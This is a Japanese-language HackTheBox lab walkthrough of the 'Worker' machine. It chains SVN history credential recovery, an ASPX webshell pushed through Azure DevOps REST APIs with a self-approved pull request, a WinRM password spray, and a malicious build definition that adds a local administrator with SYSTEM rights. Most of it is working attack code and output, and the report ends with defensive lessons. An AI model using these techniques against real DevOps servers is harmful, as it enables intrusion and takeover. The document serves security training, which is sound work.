HackTheBox: Worker — 全実行コマンド・実行結果レポート
Nmap スキャン
80/3690/5985
→
80/3690/5985
SVN r2復元
nathen:wendel98
→
nathen:wendel98
NTLM認証突破
requests_ntlm (Basicは常に401)
→
requests_ntlm (Basicは常に401)
REST APIでwebshell配備
Refs+Pushes+PR マージ
→
Refs+Pushes+PR マージ
cmdasp.aspx RCE
SVN passwdスプレー→user.txt
→
SVN passwdスプレー→user.txt
Build Administrators
robisl所属
→
robisl所属
悪性ビルド定義
SYSTEM(WORKER$)で実行
→
SYSTEM(WORKER$)で実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.29 nmap -sV -sC -p 80,3690,5985 10.129.2.29
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Dimension by HTML5 UP | http-methods: |_ Potentially risky methods: TRACE 3690/tcp open svnserve Subversion 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
重要発見: ポート3690(svnserve)が開いており、匿名チェックアウトが
可能な場合は内部のコード/設定情報が丸ごと読める。IIS(80)は静的サイト「Dimension」のみで
目立つ脆弱性なし。5985(WinRM)は資格情報獲得後の横移動先として重要。
PHASE 2
SVNリビジョン履歴からの平文クレデンシャル回収
匿名チェックアウト & コミット履歴確認
BASH
svn checkout svn://10.129.2.29 worker_svn svn log svn://10.129.2.29
RESULT
r5 | nathen | Added note that repo has been migrated
r4 | nathen | Moving this repo to our new devops server which will handle the deployment for us
r3 | nathen | -
r2 | nathen | Added deployment script
r1 | nathen | First version
ℹ️
最新リビジョン(r5)には
moved.txtしか残っていないが、r2で追加された
deploy.ps1はr3で削除されている。Subversionは削除してもリビジョン履歴から
過去のファイル内容を復元できるため、r2時点のスナップショットに戻せば読める。
削除済みリビジョンの復元 (deploy.ps1)
BASH
svn update -r 2 worker_svn cat worker_svn/deploy.ps1
RESULT (deploy.ps1)
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
✅
平文クレデンシャル
nathen:wendel98 を獲得。r5のメモ通り、デプロイ業務は
「新しいdevopsサーバー」(=Azure DevOps Server)に移管されている。
PHASE 3
Azure DevOps Server (devops.worker.htb) — NTLM突破とREST APIでのwebshell配備
vhost解決 & Basic認証が常に失敗する罠
BASH
echo "10.129.2.29 devops.worker.htb dimension.worker.htb spectral.worker.htb" | sudo tee -a /etc/hosts curl -v --basic -u 'nathen:wendel98' http://devops.worker.htb/
RESULT
> Authorization: Basic bmF0aGVuOndlbmRlbDk4
< HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer
WWW-Authenticate: Basic realm="http://devops.worker.htb/"
WWW-Authenticate: NTLM
X-TFS-ServiceError: TF400813: Resource not available for anonymous access...
🚨
重要な罠: サーバーは
WWW-Authenticate: Basicを広告しているのに、
正しいAuthorization: Basicヘッダーを送っても常に401になる
(curlで直接確認、ヘッダー送信自体は-vで正しく確認済み)。このTFS(Azure DevOps Server)
インスタンスは実質NTLMのみを受理する。さらにKaliのcurlビルドは
--ntlm未対応(GnuTLS系ビルドでNTLM機能なし)、git CLIが使うシステムlibcurlも
同様にNTLM非対応のため、git clone http://user:pass@devops.../repoも
認証失敗で使えない。
PYTHON (NTLM認証)
pip install requests_ntlm # 事前にインストール済みか確認
import requests
from requests_ntlm import HttpNtlmAuth
r = requests.get('http://devops.worker.htb/', auth=HttpNtlmAuth('nathen', 'wendel98'))
print(r.status_code) # → 200
✅
requests_ntlm.HttpNtlmAuth経由だと即座に200 OK。
以降すべてのAzure DevOps REST API呼び出しはこのHttpNtlmAuthオブジェクトを
auth=に渡すことで解決する。
spectralリポジトリ特定 & gitを使わないREST APIでの分岐作成
PYTHON
base = 'http://devops.worker.htb/ekenas/SmartHotel360'
r = requests.get(f'{base}/_apis/git/repositories/spectral?api-version=5.0', auth=auth)
repo_id = r.json()['id'] # c60da4ba-5d2a-415a-8534-b1ad4b36b14e
# master の現HEADを取得
r = requests.get(f'{base}/_apis/git/repositories/{repo_id}/refs?filter=heads/master&api-version=5.0', auth=auth)
master_obj = r.json()['value'][0]['objectId']
# ★ gitを使わず Refs API で直接ブランチを作成 (masterの先端から分岐)
requests.post(f'{base}/_apis/git/repositories/{repo_id}/refs?api-version=5.0', auth=auth,
json=[{'name':'refs/heads/shell','oldObjectId':'0'*40,'newObjectId':master_obj}])
# ★ Pushes API で cmdasp.aspx を追加するコミットを直接作成
shell = open('/usr/share/webshells/aspx/cmdasp.aspx').read()
body = {
'refUpdates': [{'name':'refs/heads/shell','oldObjectId':master_obj}],
'commits': [{'comment':'updated with shell',
'changes':[{'changeType':'add','item':{'path':'/cmdasp.aspx'},
'newContent':{'content':shell,'contentType':'rawtext'}}]}]
}
r = requests.post(f'{base}/_apis/git/repositories/{repo_id}/pushes?api-version=5.0', auth=auth, json=body)
commit_id = r.json()['commits'][0]['commitId']
ℹ️
git CLIが使えないため、Refs API(ブランチ作成) → Pushes API(コミット作成)という
2段階のREST呼び出しだけでローカルにリポジトリをcloneすることなく直接コミットを作成できる。
最初に
oldObjectId:"0"*40でブランチをmasterの先端へ作成し、続けて
そのブランチに対しoldObjectId:master_objを親として指定したpushを行うことで、
masterの全ファイルを引き継いだ正しい履歴の新規コミットになる。
Pull Request作成 → ブランチポリシー2件の回避 → マージ完了
PYTHON
r = requests.post(f'{base}/_apis/git/repositories/{repo_id}/pullrequests?api-version=5.0', auth=auth,
json={'sourceRefName':'refs/heads/shell','targetRefName':'refs/heads/master',
'title':'updated with shell','description':'updated with shell'})
pr_id = r.json()['pullRequestId']
body = {'status':'completed','lastMergeSourceCommit':{'commitId':commit_id},
'completionOptions':{'deleteSourceBranch':False}}
r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0',
auth=auth, json=body)
print(r.status_code, r.text)
RESULT
403 The pull request needs a minimum number of approvals (1) before it can be completed.
⚠️
1つ目のポリシー: 最低1承認が必須。
connectionDataから自分自身のreviewer IDを取得し、
PRのreviewersへvote:10(Approved)として自分を追加すれば回避できる。
注意: connectionDataはコレクション直下のエンドポイント
(http://devops.worker.htb/ekenas/_apis/connectionData)であり、プロジェクト配下の
URLで呼ぶとJSONでないエラーページが返りJSONDecodeErrorになる。
PYTHON (自己承認)
collection_base = 'http://devops.worker.htb/ekenas'
r = requests.get(f'{collection_base}/_apis/connectionData', auth=auth)
reviewer_id = r.json()['authenticatedUser']['id']
requests.put(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}/reviewers/{reviewer_id}?api-version=5.0',
auth=auth, json={'vote':10})
# 再度complete → 2つ目のポリシーに引っかかる
r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.text)
RESULT
403 The pull request must be linked to a work item before it can be completed.
⚠️
2つ目のポリシー: 作業項目(Work Item)へのリンクが必須。既存の作業項目(WIQLで検索すると
ID 1〜7が存在)のいずれかへ、PRの
vstfs:///Git/PullRequestId/{projectId}%2f{repoId}%2f{prId}
というArtifactLinkをJSON Patchで追加すれば満たせる。
PYTHON (作業項目リンク+再完了)
project_id = requests.get(f'{collection_base}/_apis/projects/SmartHotel360?api-version=5.0', auth=auth).json()['id']
vstfs = f'vstfs:///Git/PullRequestId/{project_id}%2f{repo_id}%2f{pr_id}'
patch = [{'op':'add','path':'/relations/-',
'value':{'rel':'ArtifactLink','url':vstfs,'attributes':{'name':'Pull Request'}}}]
requests.patch(f'{collection_base}/_apis/wit/workitems/1?api-version=5.0', auth=auth,
data=json.dumps(patch), headers={'Content-Type':'application/json-patch+json'})
r = requests.patch(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.json().get('status'), r.json().get('mergeStatus'))
RESULT
200 active queued ← 即時レスポンスはまだ"完了"になっていない!
🚨
タイミングの罠: HTTPステータス200が返っても、このTFSインスタンスでは
PRのマージ処理が非同期で、応答直後の
statusはactive・
mergeStatusはqueuedのままのことがある。1〜2秒後に同じPRをGETで
再確認するとstatus: completed, mergeStatus: succeededに変わっている。
PATCHの応答だけで成否判定してはならず、短いポーリングで実際の完了を確認する必要がある。
PYTHON (完了ポーリング)
import time
for _ in range(15):
d = requests.get(f'{base}/_apis/git/repositories/{repo_id}/pullrequests/{pr_id}?api-version=5.0', auth=auth).json()
if d['status'] == 'completed':
print(d['status'], d['mergeStatus']); break
time.sleep(2)
RESULT
completed succeeded
CI自動デプロイの待機
BASH
for i in $(seq 1 20); do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 http://spectral.worker.htb/cmdasp.aspx)
echo "try $i: $code"; [ "$code" = "200" ] && break; sleep 5
done
RESULT
try 1: 404
try 2: 404
try 3: 200
✅
Spectral-CIパイプラインのトリガーは
+refs/heads/masterのみ(ビルド定義のJSONで確認済み)。
PRマージでmasterが更新されたことを検知し、自動的にw:\sites\spectral.worker.htbへ
webshellがデプロイされた(約15秒)。
PHASE 4
cmdasp.aspx経由のRCE & SVN passwdスプレーでuser.txt
ASP.NET WebForms postback経由のコマンド実行
PYTHON
import re, html
def shell_cmd(cmd):
url = 'http://spectral.worker.htb/cmdasp.aspx'
r1 = requests.get(url, timeout=15)
vs = re.search(r'id="__VIEWSTATE" value="([^"]*)"', r1.text)
vg = re.search(r'id="__VIEWSTATEGENERATOR" value="([^"]*)"', r1.text)
ev = re.search(r'id="__EVENTVALIDATION" value="([^"]*)"', r1.text)
data = {'__VIEWSTATE': vs.group(1), 'txtArg': cmd, 'testing': 'excute'}
if vg: data['__VIEWSTATEGENERATOR'] = vg.group(1)
if ev: data['__EVENTVALIDATION'] = ev.group(1)
r2 = requests.post(url, data=data, timeout=15)
m = re.search(r'<pre>(.*?)</pre>', r2.text, re.S)
return html.unescape(m.group(1)) if m else r2.text
print(shell_cmd('whoami'))
RESULT
iis apppool\defaultapppool
ℹ️
ボタンのラベルが
"excute"(スペルミス)になっているのはシェル自体の仕様。
__VIEWSTATE等のASP.NETフォーム状態を正しく付け直して送らないとpostbackが発火しない。
追加マウントドライブのSVN平文クレデンシャル一覧を取得
BASH
shell_cmd(r'type w:\svnrepos\www\conf\passwd')
RESULT (抜粋)
[users]
nathen = wendel98
nichin = fqerfqerf
...
robisl = wolves11
...
samken = aqua
ℹ️
約40ユーザー分の
username = password形式の一覧が丸ごと読める。これをWinRMへ
スプレーする。
WinRMクレデンシャルスプレー & user.txt取得
BASH
nxc winrm 10.129.2.29 -u users.txt -p passwords.txt --no-bruteforce
RESULT
WINRM 10.129.2.29 5985 WORKER [*] Windows 10 / Server 2019 Build 17763 (name:WORKER) (domain:Worker)
...(多数の失敗)...
WINRM 10.129.2.29 5985 WORKER [+] Worker\robisl:wolves11 (Pwn3d!)
BASH
nxc winrm 10.129.2.29 -u robisl -p wolves11 -x 'type C:\Users\robisl\Desktop\user.txt'
RESULT
dea93d2d1d27915c8d174c1f9c6d165a
user.txt — robisl
dea93d2d1d27915c8d174c1f9c6d165a
PHASE 5
Build Administrators 権限昇格の下調べ
robisl のAzure DevOpsアクセス権確認
PYTHON
auth = HttpNtlmAuth('robisl','wolves11')
r = requests.get('http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0', auth=auth)
print(r.json())
RESULT
{"count":1,"value":[{"id":"c5760d1e-...","name":"PartsUnlimited",...}]}
ℹ️
robislは(SmartHotel360とは別の)PartsUnlimitedプロジェクトが見える。
このユーザーはAzure DevOpsのBuild Administratorsグループに所属しており、
任意のビルド定義(パイプライン)を作成する権限を持つ。
エージェントプール “Setup” の罠 — pool ID ≠ queue ID
PYTHON
base = 'http://devops.worker.htb/ekenas/PartsUnlimited'
r = requests.get(f'{base}/_apis/distributedtask/pools?api-version=5.0', auth=auth)
print(r.status_code) # 404 (プロジェクトスコープでは存在しないエンドポイント)
collection_base = 'http://devops.worker.htb/ekenas'
r = requests.get(f'{collection_base}/_apis/distributedtask/pools?api-version=5.0', auth=auth)
print(r.json()['value']) # → id=3, name="Setup" (プールID)
⚠️
distributedtask/poolsはコレクション直下のエンドポイント。
プール名”Setup”のID(=3)が分かったので、そのままビルド定義のqueue.idに
渡してみると…
PYTHON
body['queue'] = {'id': 3} # プールID
r = requests.post(f'{base}/_apis/build/definitions?api-version=5.0', auth=auth, json=body)
print(r.status_code, r.text)
RESULT
400 No agent pool found with identifier 3.
🚨
重要な罠: ビルド定義の
queue.idは「プール」のIDではなく、
プロジェクト単位でプールをラップした別物の「キュー」のIDを要求する。
distributedtask/queues(プレビューAPI必須、api-version=5.0-preview.1)を
プロジェクトスコープで問い合わせる必要がある。
PYTHON (正しいキューID取得)
r = requests.get(f'{base}/_apis/distributedtask/queues?api-version=5.0-preview.1', auth=auth)
for q in r.json()['value']:
print(q['id'], q['pool']['name'])
RESULT
7 Setup ← プールID(3)とは別の「キューID」(7)
PHASE 6
悪性ビルド定義 → SYSTEM実行 → root.txt
ローカル管理者作成用のビルド定義を作成
PYTHON
repo_id = requests.get(f'{base}/_apis/git/repositories?api-version=5.0', auth=auth) \
.json()['value'][0]['id'] # PartsUnlimitedリポジトリ
queue_id = 7
ps_script = 'net user cube Password123! /add ; net localgroup administrators cube /add'
body = {
'name': 'PartsUnlimited-CI-Pwn', 'type': 'build', 'quality': 'definition',
'queue': {'id': queue_id},
'repository': {'id': repo_id, 'type': 'TfsGit', 'name': 'PartsUnlimited',
'defaultBranch': 'refs/heads/master', 'clean': 'false'},
'process': {'type': 1, 'phases': [{
'name': 'Agent job 1',
'steps': [{'enabled': True, 'displayName': 'PowerShell Script',
'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', # PowerShell@2
'versionSpec': '2.*', 'definitionType': 'task'},
'inputs': {'targetType': 'inline', 'script': ps_script,
'errorActionPreference': 'stop', 'pwsh': 'false'}}],
'target': {'executionOptions': {'type': 0}, 'type': 1}
}]}
}
r = requests.post(f'{base}/_apis/build/definitions?api-version=5.0', auth=auth, json=body)
def_id = r.json()['id']
print(def_id)
RESULT
27 (ビルド定義 "PartsUnlimited-CI-Pwn" 作成成功)
ビルドをキューし SYSTEM コンテキストでの実行を待機
PYTHON
r = requests.post(f'{base}/_apis/build/builds?api-version=5.0', auth=auth, json={'definition':{'id':27}})
build_id = r.json()['id']
import time
while True:
d = requests.get(f'{base}/_apis/build/builds/{build_id}?api-version=5.0', auth=auth).json()
if d['status'] == 'completed':
print(d['result']); break
time.sleep(5)
RESULT
succeeded
✅
ビルドエージェント(“Setup”プール、
Hamilton1)はマシンアカウント
WORKER$(=SYSTEM相当)として動作しているため、インラインPowerShellタスクが
SYSTEM権限でそのまま実行され、ローカル管理者cube:Password123!が作成される。
cube でWinRMログインしroot.txt取得
BASH
nxc winrm 10.129.2.29 -u cube -p 'Password123!' -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM 10.129.2.29 5985 WORKER [+] Worker\cube:Password123! (Pwn3d!) WINRM 10.129.2.29 5985 WORKER a3550c60814a17b084cc86700a046c23
root.txt — Administrator@Worker
a3550c60814a17b084cc86700a046c23
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — robisl
dea93d2d1d27915c8d174c1f9c6d165a
root.txt — Administrator@Worker
a3550c60814a17b084cc86700a046c23
使用した脆弱性・設計不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SVN削除済みリビジョン復元 | svnserve (3690) | 平文クレデンシャル漏洩 | Medium | svn update -r 2で一度削除されたdeploy.ps1を復元しnathen:wendel98を取得 |
| CI/CDパイプライン悪用による任意ファイル配備 | Azure DevOps Server (Spectral-CI) | IIS apppool権限でのRCE | High | REST APIでブランチ作成・コミット・PR作成/承認/作業項目リンク/マージを行い、CIにASPX webshellを自動デプロイさせる |
| 追加共有ドライブ上の平文クレデンシャル一覧 | w:\svnrepos\www\conf\passwd | 約40アカウントのパスワード漏洩 | Medium | webshell経由でファイルを直接読み取りWinRMへスプレー |
| Build Administrators権限昇格 | Azure DevOps ビルドエージェント (WORKER$) | SYSTEMコンテキストでの任意コード実行 | Critical | 任意のビルド定義(インラインPowerShellタスク)を作成しビルドをキューするだけでエージェントのマシンアカウント権限で実行される |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 80(IIS)/3690(svnserve)/5985(WinRM) |
| 2 | SVN | 削除済みリビジョン復元 | nathen:wendel98 |
| 3 | CI/CD悪用 | NTLM認証+REST API(Refs/Pushes/PR) | cmdasp.aspx自動デプロイ |
| 4 | RCE/資格情報窃取 | ASP.NET postback RCE + SVN passwdスプレー | user.txt(robisl:wolves11) |
| 5 | 権限調査 | Azure DevOps REST API(pools/queues) | Build Administrators所属確認、正しいqueue ID |
| 6 | 権限昇格 | 悪性ビルド定義でSYSTEM実行 | root.txt(cube:Password123!経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| svnserveの匿名チェックアウトで削除済みリビジョンまで読める | SVNの匿名アクセスを無効化し、過去に平文クレデンシャルをコミットした履歴はsvnadmin obliterate相当の手段で完全消去する(単なる削除コミットでは不十分)。 |
| 一般開発者が任意のPull RequestをCI/CDの自動デプロイ対象ブランチへマージできる | mainブランチへのマージはコードレビュー担当者による実質的な承認(自己承認を許可しない設定)と、デプロイ内容の静的解析/サンドボックス実行を組み合わせる。 |
| 追加マウント共有に平文クレデンシャル一覧ファイルを保持 | SVN等のレガシー認証ファイルを本番共有に残さず、パスワードは即座にハッシュ化・一元管理する。 |
| 一般ユーザーがBuild Administratorsグループに所属し任意のビルド定義(≒任意コード実行)を作成できる | Build Administrators権限は最小限のCI管理者のみに付与し、セルフホストエージェントをマシンアカウント(SYSTEM相当)で動かさない(専用の低権限サービスアカウントを使う)。 |

